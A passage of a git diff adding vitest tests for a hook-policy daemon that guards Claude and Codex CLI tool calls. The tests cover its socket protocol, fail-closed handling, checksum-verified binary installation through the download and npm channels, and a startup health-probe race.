tryDaemonHook({ hookEvent: "PreToolUse", cli: "claude", stdin: "{}" }); + expect(result).toEqual({ exitCode: 2, stdout: "", stderr: "blocked: sudo is not allowed" }); + }); + + it("returns null when the daemon sends an error-type message", async () => { + await startServer(async (socket) => { + await readFrame(socket); + socket.end(encodeFrame({ type: "error", protocolVersion: 1, message: "daemon unreachable" })); + }); + + const { tryDaemonHook } = await import("../../src/hooks/daemon-client"); + const result = await tryDaemonHook({ hookEvent: "Stop", cli: "codex", stdin: "{}" }); + expect(result).toBeNull(); + }); + + it("returns null on a protocol-version mismatch", async () => { + await startServer(async (socket) => { + await readFrame(socket); + socket.end( + encodeFrame({ type: "hookResult", protocolVersion: 999, exitCode: 0, stdout: "", stderr: "" }), + ); + }); + + const { tryDaemonHook } = await import("../../src/hooks/daemon-client"); + const result = await tryDaemonHook({ hookEvent: "PreToolUse", cli: "claude", stdin: "{}" }); + expect(result).toBeNull(); + }); + + it("reports WHY it failed, so the caller can tell skew from absence", async () => { + // The distinction this exists for: a protocol mismatch means a daemon + // ANSWERED and is healthy — we just cannot speak its format, which is what + // an npm upgrade produces before the daemon is reinstalled. Collapsing that + // into the same `null` as "nothing is listening" is what would deny every + // tool call fleet-wide on the first PROTOCOL_VERSION bump. + await startServer(async (socket) => { + await readFrame(socket); + socket.end( + encodeFrame({ type: "hookResult", protocolVersion: 999, exitCode: 0, stdout: "", stderr: "" }), + ); + }); + + const { attemptDaemonHook } = await import("../../src/hooks/daemon-client"); + const attempt = await attemptDaemonHook({ hookEvent: "PreToolUse", cli: "claude", stdin: "{}" }); + expect(attempt).toEqual({ ok: false, failure: "protocol-mismatch" }); + }); + + it("catches a mismatch in BOTH directions", async () => { + // Newer CLI against older daemon, and older CLI against newer daemon, both + // land here: the daemon stamps its own version on the error it sends back, + // so the versions disagree either way. + await startServer(async (socket) => { + await readFrame(socket); + socket.end(encodeFrame({ type: "error", protocolVersion: 2, message: "protocol version mismatch" })); + }); + + const { attemptDaemonHook } = await import("../../src/hooks/daemon-client"); + const attempt = await attemptDaemonHook({ hookEvent: "PreToolUse", cli: "claude", stdin: "{}" }); + expect(attempt).toEqual({ ok: false, failure: "protocol-mismatch" }); + }); + + it("an error at a MATCHING protocol version is unreachable, not skew", async () => { + // A daemon that answers "worker call failed" at the right version is not a + // version problem — it is a broken daemon, and must keep failing closed. + await startServer(async (socket) => { + await readFrame(socket); + socket.end(encodeFrame({ type: "error", protocolVersion: 1, message: "worker call failed" })); + }); + + const { attemptDaemonHook } = await import("../../src/hooks/daemon-client"); + const attempt = await attemptDaemonHook({ hookEvent: "Stop", cli: "codex", stdin: "{}" }); + expect(attempt).toEqual({ ok: false, failure: "unreachable" }); + }); + + it("nothing listening is unreachable", async () => { + process.env.FAILPROOFAI_DAEMON_SOCKET = "/tmp/fpai-nonexistent-socket-for-test.sock"; + const { attemptDaemonHook } = await import("../../src/hooks/daemon-client"); + const attempt = await attemptDaemonHook({ hookEvent: "PreToolUse", cli: "claude", stdin: "{}" }); + expect(attempt).toEqual({ ok: false, failure: "unreachable" }); + }); + + it("returns null on a well-formed but wrong-shape response (no partial trust)", async () => { + await startServer(async (socket) => { + await readFrame(socket); + // Right protocol version, right general shape, but missing exitCode. + socket.end(encodeFrame({ type: "hookResult", protocolVersion: 1, stdout: "", stderr: "" })); + }); + + const { tryDaemonHook } = await import("../../src/hooks/daemon-client"); + const result = await tryDaemonHook({ hookEvent: "PreToolUse", cli: "claude", stdin: "{}" }); + expect(result).toBeNull(); + }); + + it("returns null immediately when no socket file exists at all", async () => { + // No server started — socketPath was never bound. + const { tryDaemonHook } = await import("../../src/hooks/daemon-client"); + const start = Date.now(); + const result = await tryDaemonHook({ hookEvent: "PreToolUse", cli: "claude", stdin: "{}" }); + const elapsedMs = Date.now() - start; + expect(result).toBeNull(); + // ENOENT/ECONNREFUSED on a nonexistent socket is a kernel-level rejection, + // not a real network timeout — should resolve in well under the 150ms + // attempt budget, not wait for it to expire. + expect(elapsedMs).toBeLessThan(100); + }); + + it("waits out a slow evaluation on a connected daemon rather than denying it", async () => { + // The connect budget answers "is anything listening"; once connected, + // the budget has to cover the daemon's whole evaluation. On a + // daemon-configured machine a timeout here is a DENY, not a fallback — + // so budgeting an evaluation at connect speed turned a slow-but-correct + // verdict into an intermittent block of a legitimate tool call. + await startServer(async (socket) => { + await readFrame(socket); + setTimeout(() => { + socket.end( + encodeFrame({ type: "hookResult", protocolVersion: 1, exitCode: 0, stdout: "ok", stderr: "" }), + ); + }, 600); + }); + + const { tryDaemonHook } = await import("../../src/hooks/daemon-client"); + const start = Date.now(); + const result = await tryDaemonHook({ hookEvent: "PreToolUse", cli: "claude", stdin: "{}" }); + expect(result).toEqual({ exitCode: 0, stdout: "ok", stderr: "" }); + expect(Date.now() - start).toBeGreaterThanOrEqual(500); + }); + + it("does not resolve at the connect budget when the server is connected but silent", async () => { + let serverSocket: Socket | null = null; + await startServer(async (socket) => { + serverSocket = socket; + await readFrame(socket); + // Deliberately never write a response. + }); + + const { tryDaemonHook } = await import("../../src/hooks/daemon-client"); + let settled = false; + const pending = tryDaemonHook({ hookEvent: "PreToolUse", cli: "claude", stdin: "{}" }).then((r) => { + settled = true; + return r; + }); + + await new Promise((r) => setTimeout(r, 800)); + expect(settled).toBe(false); + + // A severed connection is a different signal from a slow one, and still + // resolves immediately — the client never hangs on a daemon that went away. + (serverSocket as Socket | null)?.destroy(); + await expect(pending).resolves.toBeNull(); + }); + + it("returns null on a garbage (non-JSON) frame body", async () => { + await startServer(async (socket) => { + await readFrame(socket); + const body = Buffer.from("not json", "utf8"); + const header = Buffer.alloc(4); + header.writeUInt32BE(body.length, 0); + socket.end(Buffer.concat([header, body])); + }); + + const { tryDaemonHook } = await import("../../src/hooks/daemon-client"); + const result = await tryDaemonHook({ hookEvent: "PreToolUse", cli: "claude", stdin: "{}" }); + expect(result).toBeNull(); + }); + + it("skips the attempt entirely on win32, never touching the socket", async () => { + const originalPlatform = process.platform; + Object.defineProperty(process, "platform", { value: "win32" }); + try { + const { tryDaemonHook } = await import("../../src/hooks/daemon-client"); + const start = Date.now(); + const result = await tryDaemonHook({ hookEvent: "PreToolUse", cli: "claude", stdin: "{}" }); + const elapsedMs = Date.now() - start; + expect(result).toBeNull(); + expect(elapsedMs).toBeLessThan(20); + } finally { + Object.defineProperty(process, "platform", { value: originalPlatform }); + } + }); + + describe("isDaemonConfigured", () => { + let globalConfigDir: string; + let originalHome: string | undefined; + + beforeEach(() => { + globalConfigDir = mkdtempSync(join(tmpdir(), "fpai-daemon-configured-test-")); + originalHome = process.env.HOME; + process.env.HOME = globalConfigDir; + }); + + afterEach(() => { + if (originalHome !== undefined) process.env.HOME = originalHome; + else delete process.env.HOME; + rmSync(globalConfigDir, { recursive: true, force: true }); + }); + + it("is false when no global config file exists", async () => { + const { isDaemonConfigured } = await import("../../src/hooks/daemon-client"); + expect(isDaemonConfigured()).toBe(false); + }); + + it("is true when the global config has daemonConfigured: true", async () => { + writeConfig({ ...DEFAULT_CONFIG, daemon: { configured: true } }); + const { isDaemonConfigured } = await import("../../src/hooks/daemon-client"); + expect(isDaemonConfigured()).toBe(true); + }); + + it("is false when daemonConfigured is explicitly false", async () => { + writeConfig({ ...DEFAULT_CONFIG, daemon: { configured: false } }); + const { isDaemonConfigured } = await import("../../src/hooks/daemon-client"); + expect(isDaemonConfigured()).toBe(false); + }); + + it("is false and does not throw when the config file is malformed JSON", async () => { + const dir = join(globalConfigDir, ".failproofai"); + mkdirSync(dir, { recursive: true }); + writeFileSync(join(dir, "policies-config.json"), "{ not valid json"); + const { isDaemonConfigured } = await import("../../src/hooks/daemon-client"); + expect(isDaemonConfigured()).toBe(false); + }); + }); +}); diff --git a/__tests__/hooks/daemon-download.test.ts b/__tests__/hooks/daemon-download.test.ts new file mode 100644 index 00000000..33f0a8c2 --- /dev/null +++ b/__tests__/hooks/daemon-download.test.ts @@ -0,0 +1,483 @@ +// @vitest-environment node +/** + * The daemon binary reaches users through two channels — the + * `@failproofai/failproofaid--` npm package that `npm install` + * already brought down, and the GitHub Release for this CLI's own version — + * so this file covers both end to end: the download against a real local HTTP + * server rather than a mocked `fetch` (URL construction, checksum + * verification, decompression, atomic install), and the npm path against a + * real staged `node_modules` tree. What both are guarding is an executable + * that a service manager will run at login, so every rejection path asserts + * that nothing was left on disk. + */ +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; +import { createServer, type Server } from "node:http"; +import { + chmodSync, + existsSync, + mkdtempSync, + readFileSync, + rmSync, + statSync, + readdirSync, + mkdirSync, + writeFileSync, +} from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve } from "node:path"; +import { createHash } from "node:crypto"; +import { gzipSync } from "node:zlib"; +import { version } from "../../package.json"; +import { binDir } from "../../src/hooks/fp-home"; + +vi.mock("../../src/hooks/hook-logger", () => ({ + hookLogWarn: vi.fn(), + hookLogInfo: vi.fn(), +})); + +const BINARY = Buffer.from("#!/bin/sh\necho failproofaid " + version + "\n"); +const GZIPPED = gzipSync(BINARY); +const DIGEST = createHash("sha256").update(GZIPPED).digest("hex"); + +/** Serves the four assets + SHA256SUMS the release job publishes. */ +function startServer(options: { manifest?: string; assetStatus?: number } = {}): Promise<{ + url: string; + close: () => Promise; + server: Server; +}> { + const manifest = options.manifest ?? `${DIGEST} failproofaid-linux-x64.gz\n`; + const server = createServer((req, res) => { + if (req.url === `/v${version}/SHA256SUMS`) { + res.writeHead(200).end(manifest); + } else if (req.url === `/v${version}/failproofaid-linux-x64.gz`) { + if (options.assetStatus && options.assetStatus !== 200) { + res.writeHead(options.assetStatus).end("nope"); + } else { + res.writeHead(200).end(GZIPPED); + } + } else { + res.writeHead(404).end("not found"); + } + }); + return new Promise((done) => { + server.listen(0, "127.0.0.1", () => { + const address = server.address(); + const port = typeof address === "object" && address ? address.port : 0; + done({ + url: `http://127.0.0.1:${port}`, + server, + close: () => new Promise((closed) => server.close(() => closed())), + }); + }); + }); +} + +describe("hooks/daemon-download", () => { + const originalHome = process.env.HOME; + const originalBase = process.env.FAILPROOFAI_DAEMON_BASE_URL; + const originalNoDownload = process.env.FAILPROOFAI_NO_DOWNLOAD; + let home: string; + + beforeEach(() => { + vi.resetModules(); + // Never touch the real ~/.failproofai — these tests install executables. + home = mkdtempSync(resolve(tmpdir(), "fpai-daemon-download-")); + process.env.HOME = home; + delete process.env.FAILPROOFAI_NO_DOWNLOAD; + }); + + afterEach(() => { + rmSync(home, { recursive: true, force: true }); + if (originalHome !== undefined) process.env.HOME = originalHome; + else delete process.env.HOME; + if (originalBase !== undefined) process.env.FAILPROOFAI_DAEMON_BASE_URL = originalBase; + else delete process.env.FAILPROOFAI_DAEMON_BASE_URL; + if (originalNoDownload !== undefined) process.env.FAILPROOFAI_NO_DOWNLOAD = originalNoDownload; + else delete process.env.FAILPROOFAI_NO_DOWNLOAD; + }); + + describe("URL construction", () => { + it("pins the asset URL to this package's own version", async () => { + delete process.env.FAILPROOFAI_DAEMON_BASE_URL; + const { daemonAssetUrl, checksumsUrl } = await import("../../src/hooks/daemon-download"); + expect(daemonAssetUrl("linux-x64")).toBe( + `https://github.com/FailproofAI/failproofai/releases/download/v${version}/failproofaid-linux-x64.gz`, + ); + expect(checksumsUrl()).toContain(`/v${version}/SHA256SUMS`); + }); + + it("names a distinct asset for every supported platform", async () => { + const { daemonAssetUrl } = await import("../../src/hooks/daemon-download"); + const urls = (["linux-x64", "linux-arm64", "darwin-x64", "darwin-arm64"] as const).map((k) => + daemonAssetUrl(k), + ); + expect(new Set(urls).size).toBe(4); + }); + + it("honours a mirror base URL and tolerates a trailing slash", async () => { + process.env.FAILPROOFAI_DAEMON_BASE_URL = "https://mirror.internal/failproofai/"; + const { daemonAssetUrl } = await import("../../src/hooks/daemon-download"); + expect(daemonAssetUrl("darwin-arm64")).toBe( + `https://mirror.internal/failproofai/v${version}/failproofaid-darwin-arm64.gz`, + ); + }); + + it("versions the installed path so an upgrade never overwrites a running daemon", async () => { + const { installedBinaryPath } = await import("../../src/hooks/daemon-download"); + expect(installedBinaryPath()).toBe(resolve(home, ".failproofai", "bin", `failproofaid-${version}`)); + expect(installedBinaryPath("9.9.9")).toContain("failproofaid-9.9.9"); + }); + }); + + describe("digestFor", () => { + it("reads a sha256sum manifest, including the binary-mode marker", async () => { + const { digestFor } = await import("../../src/hooks/daemon-download"); + const manifest = [ + `${"a".repeat(64)} failproofaid-linux-x64.gz`, + `${"b".repeat(64)} *failproofaid-darwin-arm64.gz`, + ].join("\n"); + expect(digestFor(manifest, "failproofaid-linux-x64.gz")).toBe("a".repeat(64)); + expect(digestFor(manifest, "failproofaid-darwin-arm64.gz")).toBe("b".repeat(64)); + }); + + it("returns null for an asset the manifest does not cover", async () => { + const { digestFor } = await import("../../src/hooks/daemon-download"); + expect(digestFor(`${"a".repeat(64)} other.gz`, "failproofaid-linux-x64.gz")).toBeNull(); + }); + }); + + describe("downloadFailproofaidBinary", () => { + it("downloads, verifies, decompresses and installs the binary as executable", async () => { + const server = await startServer(); + process.env.FAILPROOFAI_DAEMON_BASE_URL = server.url; + try { + const { downloadFailproofaidBinary, installedBinaryPath } = await import( + "../../src/hooks/daemon-download" + ); + const result = await downloadFailproofaidBinary("linux-x64"); + + expect(result.error).toBeUndefined(); + expect(result.path).toBe(installedBinaryPath()); + expect(readFileSync(result.path!)).toEqual(BINARY); + // 0o755: the service manager execs this path directly. + expect(statSync(result.path!).mode & 0o777).toBe(0o755); + // The install is a rename, so no temp file survives it. + expect(readdirSync(binDir(home))).toEqual([`failproofaid-${version}`]); + } finally { + await server.close(); + } + }); + + it("is idempotent — an installed binary is returned without a fetch", async () => { + const server = await startServer(); + process.env.FAILPROOFAI_DAEMON_BASE_URL = server.url; + try { + const { downloadFailproofaidBinary } = await import("../../src/hooks/daemon-download"); + const first = await downloadFailproofaidBinary("linux-x64"); + await server.close(); + // Server is down; a second call must not need it. + const second = await downloadFailproofaidBinary("linux-x64"); + expect(second.path).toBe(first.path); + expect(second.error).toBeUndefined(); + } finally { + server.server.close(); + } + }); + + it("refuses to install a binary whose checksum does not match", async () => { + const server = await startServer({ manifest: `${"f".repeat(64)} failproofaid-linux-x64.gz\n` }); + process.env.FAILPROOFAI_DAEMON_BASE_URL = server.url; + try { + const { downloadFailproofaidBinary, installedBinaryPath, daemonBinaryDir } = await import( + "../../src/hooks/daemon-download" + ); + const result = await downloadFailproofaidBinary("linux-x64"); + + expect(result.path).toBeUndefined(); + expect(result.error).toContain("checksum mismatch"); + expect(existsSync(installedBinaryPath())).toBe(false); + // Nothing half-written left behind either. + expect(existsSync(daemonBinaryDir()) ? readdirSync(daemonBinaryDir()) : []).toEqual([]); + } finally { + await server.close(); + } + }); + + it("refuses an asset the manifest does not cover at all", async () => { + const server = await startServer({ manifest: `${DIGEST} failproofaid-darwin-x64.gz\n` }); + process.env.FAILPROOFAI_DAEMON_BASE_URL = server.url; + try { + const { downloadFailproofaidBinary, installedBinaryPath } = await import( + "../../src/hooks/daemon-download" + ); + const result = await downloadFailproofaidBinary("linux-x64"); + expect(result.error).toContain("no entry for failproofaid-linux-x64.gz"); + expect(existsSync(installedBinaryPath())).toBe(false); + } finally { + await server.close(); + } + }); + + it("reports a failed fetch without throwing and installs nothing", async () => { + const server = await startServer({ assetStatus: 404 }); + process.env.FAILPROOFAI_DAEMON_BASE_URL = server.url; + try { + const { downloadFailproofaidBinary, installedBinaryPath } = await import( + "../../src/hooks/daemon-download" + ); + const result = await downloadFailproofaidBinary("linux-x64"); + expect(result.error).toContain("failed to download"); + expect(result.error).toContain("404"); + expect(existsSync(installedBinaryPath())).toBe(false); + } finally { + await server.close(); + } + }); + + it("does not reach the network at all when downloads are disabled", async () => { + // No server: an air-gapped box must fail with a clear reason rather than + // hang on a connection to github.com. + process.env.FAILPROOFAI_DAEMON_BASE_URL = "http://127.0.0.1:1/never"; + process.env.FAILPROOFAI_NO_DOWNLOAD = "1"; + const { downloadFailproofaidBinary } = await import("../../src/hooks/daemon-download"); + const result = await downloadFailproofaidBinary("linux-x64"); + expect(result.error).toContain("downloads are disabled"); + expect(result.path).toBeUndefined(); + }); + + it("still returns an already-installed binary when downloads are disabled", async () => { + // Disabling downloads must not disable the daemon on a machine that + // already has one — the flag gates fetching, not running. + const { installedBinaryPath, downloadFailproofaidBinary } = await import( + "../../src/hooks/daemon-download" + ); + mkdirSync(binDir(home), { recursive: true }); + writeFileSync(installedBinaryPath(), BINARY); + process.env.FAILPROOFAI_NO_DOWNLOAD = "1"; + + const result = await downloadFailproofaidBinary("linux-x64"); + expect(result.path).toBe(installedBinaryPath()); + }); + }); + + describe("the npm platform-package channel", () => { + const originalRoot = process.env.FAILPROOFAI_PACKAGE_ROOT; + let packageRoot: string; + + beforeEach(() => { + packageRoot = mkdtempSync(resolve(tmpdir(), "fpai-package-root-")); + // A real installed layout: the CLI package's own manifest, so + // createRequire() has something to anchor resolution to. + writeFileSync( + resolve(packageRoot, "package.json"), + JSON.stringify({ name: "failproofai", version }) + "\n", + ); + process.env.FAILPROOFAI_PACKAGE_ROOT = packageRoot; + }); + + afterEach(() => { + rmSync(packageRoot, { recursive: true, force: true }); + if (originalRoot !== undefined) process.env.FAILPROOFAI_PACKAGE_ROOT = originalRoot; + else delete process.env.FAILPROOFAI_PACKAGE_ROOT; + }); + + /** Stages what `npm install failproofai` leaves behind for this machine. */ + function installPlatformPackage(key: string, binary: Buffer = BINARY, pkgVersion = version): string { + const dir = resolve(packageRoot, "node_modules", "@failproofai", `failproofaid-${key}`); + mkdirSync(resolve(dir, "bin"), { recursive: true }); + writeFileSync( + resolve(dir, "package.json"), + JSON.stringify({ name: `@failproofai/failproofaid-${key}`, version: pkgVersion, files: ["bin/"] }) + "\n", + ); + const binaryPath = resolve(dir, "bin", "failproofaid"); + writeFileSync(binaryPath, binary); + chmodSync(binaryPath, 0o755); + return binaryPath; + } + + it("finds the binary the platform package installed", async () => { + const staged = installPlatformPackage("linux-x64"); + const { npmPlatformBinaryPath } = await import("../../src/hooks/daemon-download"); + expect(npmPlatformBinaryPath("linux-x64")).toBe(staged); + }); + + it("returns null for a platform whose package is not installed", async () => { + installPlatformPackage("linux-x64"); + const { npmPlatformBinaryPath } = await import("../../src/hooks/daemon-download"); + // os/cpu keep npm from installing the other three; asking for one of them + // must not resolve the wrong machine's binary. + expect(npmPlatformBinaryPath("darwin-arm64")).toBeNull(); + }); + + it("ignores a platform package built for a different version of the CLI", async () => { + // A workspace holding two failproofai versions can hoist the other one's + // platform package to the top. Installing that binary under this + // version's filename would put a daemon built from different source + // behind a CLI that believes it matches. + installPlatformPackage("linux-x64", BINARY, "0.0.1-not-this-cli"); + const { npmPlatformBinaryPath } = await import("../../src/hooks/daemon-download"); + expect(npmPlatformBinaryPath("linux-x64")).toBeNull(); + }); + + it("returns null when there is no package root to resolve from", async () => { + installPlatformPackage("linux-x64"); + delete process.env.FAILPROOFAI_PACKAGE_ROOT; + const { npmPlatformBinaryPath } = await import("../../src/hooks/daemon-download"); + expect(npmPlatformBinaryPath("linux-x64")).toBeNull(); + }); + + it("installs from the package to the same versioned, executable path the download uses", async () => { + installPlatformPackage("linux-x64"); + const { installFromNpmPackage, installedBinaryPath } = await import( + "../../src/hooks/daemon-download" + ); + const result = await installFromNpmPackage("linux-x64"); + + expect(result.error).toBeUndefined(); + expect(result.path).toBe(installedBinaryPath()); + expect(readFileSync(result.path!)).toEqual(BINARY); + expect(statSync(result.path!).mode & 0o777).toBe(0o755); + // Same atomic rename as the download path — no temp file survives. + expect(readdirSync(binDir(home))).toEqual([`failproofaid-${version}`]); + }); + + it("reports a missing package without throwing", async () => { + const { installFromNpmPackage, installedBinaryPath } = await import( + "../../src/hooks/daemon-download" + ); + const result = await installFromNpmPackage("linux-x64"); + expect(result.path).toBeUndefined(); + expect(result.error).toContain("@failproofai/failproofaid-linux-x64 is not installed"); + expect(existsSync(installedBinaryPath())).toBe(false); + }); + + // The npm channel used to install with NO integrity step of any kind, on + // the reasoning that "npm verified the tarball when it installed it" — + // which is true, and about a different moment. npm checks at EXTRACTION; + // this reads a loose file out of a shared, writable node_modules some time + // later and installs it as a root-owned, boot-persistent system service. + // The sibling download channel has verified against SHA256SUMS since it + // existed. + describe("integrity of the npm-channel binary", () => { + it("refuses a binary whose digest does not match what this build recorded", async () => { + const { binaryDigestMismatch } = await import("../../src/hooks/daemon-download"); + const expected = createHash("sha256").update(Buffer.from("the real binary")).digest("hex"); + + const problem = binaryDigestMismatch(expected, Buffer.from("tampered"), "/pkg/bin/failproofaid"); + + expect(problem).toContain("refusing to install"); + expect(problem).toContain(expected); + // Names the path, so an operator can see WHICH copy is wrong. + expect(problem).toContain("/pkg/bin/failproofaid"); + }); + + it("accepts a binary that matches", async () => { + const { binaryDigestMismatch } = await import("../../src/hooks/daemon-download"); + const bytes = Buffer.from("the real binary"); + const expected = createHash("sha256").update(bytes).digest("hex"); + expect(binaryDigestMismatch(expected, bytes, "/pkg/bin/failproofaid")).toBeNull(); + }); + + it("treats 'no recorded digest' as nothing to compare, not as a pass", async () => { + // `failproofaidBinaries` is written into the manifest at publish time, + // so it is absent from every dev build and unpublished commit. The + // install must still work there — this channel is the only one that + // functions air-gapped. + const { binaryDigestMismatch } = await import("../../src/hooks/daemon-download"); + expect(binaryDigestMismatch(null, Buffer.from("anything"), "/pkg/bin/failproofaid")).toBeNull(); + }); + + it("expectedNpmBinaryDigest ignores a malformed entry rather than trusting it", async () => { + const { expectedNpmBinaryDigest } = await import("../../src/hooks/daemon-download"); + // This repo's committed manifest carries no digests, so every platform + // reads as "not recorded" — the property that keeps dev builds working. + expect(expectedNpmBinaryDigest("linux-x64")).toBeNull(); + }); + + it("still installs on a build with no recorded digest", async () => { + installPlatformPackage("linux-x64"); + const { installFromNpmPackage, installedBinaryPath } = await import( + "../../src/hooks/daemon-download" + ); + const result = await installFromNpmPackage("linux-x64"); + expect(result.error).toBeUndefined(); + expect(result.path).toBe(installedBinaryPath()); + }); + }); + + it("ensureFailproofaidBinary prefers the package and never touches the network", async () => { + installPlatformPackage("linux-x64"); + // Any fetch at all fails this test: a machine that already has the + // binary from npm must not wait on github.com to install it. + const server = await startServer(); + let requests = 0; + server.server.on("request", () => { + requests += 1; + }); + process.env.FAILPROOFAI_DAEMON_BASE_URL = server.url; + try { + const { ensureFailproofaidBinary } = await import("../../src/hooks/daemon-service"); + const { installedBinaryPath } = await import("../../src/hooks/daemon-download"); + const result = await ensureFailproofaidBinary(); + expect(result.reason).toBeUndefined(); + expect(result.path).toBe(installedBinaryPath()); + expect(requests).toBe(0); + } finally { + await server.close(); + } + }); + + it("works on an air-gapped machine, where the download channel is switched off", async () => { + // FAILPROOFAI_NO_DOWNLOAD gates fetching, not copying — on exactly these + // machines npm is the only channel that can supply a daemon at all. + installPlatformPackage("linux-x64"); + process.env.FAILPROOFAI_NO_DOWNLOAD = "1"; + process.env.FAILPROOFAI_DAEMON_BASE_URL = "http://127.0.0.1:1/never"; + + const { ensureFailproofaidBinary } = await import("../../src/hooks/daemon-service"); + const { installedBinaryPath } = await import("../../src/hooks/daemon-download"); + const result = await ensureFailproofaidBinary(); + expect(result.path).toBe(installedBinaryPath()); + }); + + it("falls back to the download when no platform package is installed", async () => { + const server = await startServer(); + process.env.FAILPROOFAI_DAEMON_BASE_URL = server.url; + const originalPlatform = process.platform; + const originalArch = process.arch; + Object.defineProperty(process, "platform", { value: "linux", configurable: true }); + Object.defineProperty(process, "arch", { value: "x64", configurable: true }); + try { + const { ensureFailproofaidBinary } = await import("../../src/hooks/daemon-service"); + const { installedBinaryPath } = await import("../../src/hooks/daemon-download"); + const result = await ensureFailproofaidBinary(); + expect(result.path).toBe(installedBinaryPath()); + expect(readFileSync(result.path!)).toEqual(BINARY); + } finally { + Object.defineProperty(process, "platform", { value: originalPlatform, configurable: true }); + Object.defineProperty(process, "arch", { value: originalArch, configurable: true }); + await server.close(); + } + }); + + it("names both channels when neither can supply a binary", async () => { + process.env.FAILPROOFAI_NO_DOWNLOAD = "1"; + const originalPlatform = process.platform; + const originalArch = process.arch; + Object.defineProperty(process, "platform", { value: "linux", configurable: true }); + Object.defineProperty(process, "arch", { value: "x64", configurable: true }); + try { + const { ensureFailproofaidBinary } = await import("../../src/hooks/daemon-service"); + const result = await ensureFailproofaidBinary(); + expect(result.path).toBeUndefined(); + // "not installed" alone reads as a broken package; the download error + // alone hides that npm could have supplied it. + expect(result.reason).toContain("downloads are disabled"); + expect(result.reason).toContain("is not installed"); + } finally { + Object.defineProperty(process, "platform", { value: originalPlatform, configurable: true }); + Object.defineProperty(process, "arch", { value: originalArch, configurable: true }); + } + }); + }); +}); diff --git a/__tests__/hooks/daemon-probe-race.test.ts b/__tests__/hooks/daemon-probe-race.test.ts new file mode 100644 index 00000000..17d38585 --- /dev/null +++ b/__tests__/hooks/daemon-probe-race.test.ts @@ -0,0 +1,116 @@ +// @vitest-environment node +// +// The health probe runs moments after `systemctl enable --now`. A `Type=simple` +// unit is reported ACTIVE the instant systemd forks it — before the daemon has +// bound its socket — and the hook path's connect budget is deliberately 150ms. +// A single attempt therefore raced the bind and lost it on any loaded machine: +// setup aborted with "its worker process could not be run" at a daemon that was +// seconds from serving, whose worker had ALREADY logged that it was listening. +// +// These use a real Unix socket server rather than a mock, because the bug lives +// in the timing between connect() and listen(), which a mock cannot reproduce. + +import { describe, it, expect, afterEach, beforeEach } from "vitest"; +import { createServer, type Server } from "node:net"; +import { mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +let dir: string; +let sockPath: string; +let server: Server | null = null; +const originalSocket = process.env.FAILPROOFAI_DAEMON_SOCKET; + +/** A stand-in daemon: answers `ping` with `pong` and `hook` with exit 0. */ +function startDaemon(opts: { answerHooks: boolean }): Promise { + return new Promise((resolve) => { + const s = createServer((conn) => { + let buf = Buffer.alloc(0); + // Annotated: the `data` event is typed `string | Buffer` because a socket + // MAY have an encoding set. This one never does, so it is always a Buffer. + conn.on("data", (chunk: Buffer) => { + buf = Buffer.concat([buf, chunk]); + if (buf.length < 4) return; + const len = buf.readUInt32BE(0); + if (buf.length < 4 + len) return; + const msg = JSON.parse(buf.subarray(4, 4 + len).toString("utf-8")); + buf = buf.subarray(4 + len); + // A daemon whose worker cannot run still ACCEPTS the connection — that + // is exactly the case the taxonomy has to tell apart from a socket that + // never came up, so this stub must accept and then stay silent. + if (msg.type === "hook" && !opts.answerHooks) return; + const body = Buffer.from( + JSON.stringify( + msg.type === "ping" + ? { type: "pong", protocolVersion: 1 } + : { type: "hookResult", protocolVersion: 1, exitCode: 0, stdout: "", stderr: "" }, + ), + "utf-8", + ); + const head = Buffer.alloc(4); + head.writeUInt32BE(body.length, 0); + conn.write(Buffer.concat([head, body])); + }); + conn.on("error", () => {}); + }); + s.listen(sockPath, () => resolve(s)); + }); +} + +beforeEach(() => { + dir = mkdtempSync(join(tmpdir(), "fpai-probe-")); + sockPath = join(dir, "failproofaid.sock"); + process.env.FAILPROOFAI_DAEMON_SOCKET = sockPath; +}); + +afterEach(async () => { + if (server) await new Promise((r) => server!.close(() => r())); + server = null; + if (originalSocket === undefined) delete process.env.FAILPROOFAI_DAEMON_SOCKET; + else process.env.FAILPROOFAI_DAEMON_SOCKET = originalSocket; + rmSync(dir, { recursive: true, force: true }); +}); + +describe("hooks/daemon-service — health probe startup race", () => { + it("succeeds when the socket binds AFTER the probe starts", async () => { + const { probeDaemon } = await import("../../src/hooks/daemon-service"); + // The regression: 1.2s is far beyond the 150ms connect budget a single + // attempt gets, and comfortably inside what a loaded machine takes between + // systemd reporting `active` and the daemon binding. + const late = new Promise((r) => + setTimeout(async () => { + server = await startDaemon({ answerHooks: true }); + r(); + }, 1200), + ); + + const [probe] = await Promise.all([probeDaemon(), late]); + expect(probe.ok).toBe(true); + }, 20_000); + + it("answers immediately when the daemon is already up", async () => { + server = await startDaemon({ answerHooks: true }); + const { probeDaemon } = await import("../../src/hooks/daemon-service"); + const started = Date.now(); + + expect((await probeDaemon()).ok).toBe(true); + // Must not pay the retry budget when there is nothing to wait for. + expect(Date.now() - started).toBeLessThan(3_000); + }, 20_000); + + it("reports `unreachable` when nothing ever listens", async () => { + const { probeDaemon } = await import("../../src/hooks/daemon-service"); + const probe = await probeDaemon(); + expect(probe).toEqual({ ok: false, reason: "unreachable" }); + }, 30_000); + + it("reports `worker` when the daemon accepts but never answers a hook", async () => { + // The fault the probe exists to catch, and the one whose message was being + // shown for BOTH cases: a listening daemon whose worker cannot run. + server = await startDaemon({ answerHooks: false }); + const { probeDaemon } = await import("../../src/hooks/daemon-service"); + + const probe = await probeDaemon(); + expect(probe).toEqual({ ok: false, reason: "worker" }); + }, 40_000); +}); diff --git a/__tests__/hooks/daemon-service.test.ts b/__tests__/hooks/daemon-service.test.ts new file mode 100644 index 00000000..f8386fb3 --- /dev/null +++ b/__tests__/hooks/daemon-service.test.ts @@ -0,0 +1,876 @@ +// @vitest-environment node +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; +import { execFileSync } from "node:child_process"; +import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir, userInfo } from "node:os"; +import { resolve } from "node:path"; +import { binDir } from "../../src/hooks/fp-home"; + +vi.mock("../../src/hooks/hook-logger", () => ({ + hookLogWarn: vi.fn(), + hookLogInfo: vi.fn(), +})); + +describe("hooks/daemon-service", () => { + const originalPlatform = process.platform; + const originalArch = process.arch; + const originalBinaryEnv = process.env.FAILPROOFAI_DAEMON_BINARY; + const originalPackageRootEnv = process.env.FAILPROOFAI_PACKAGE_ROOT; + const 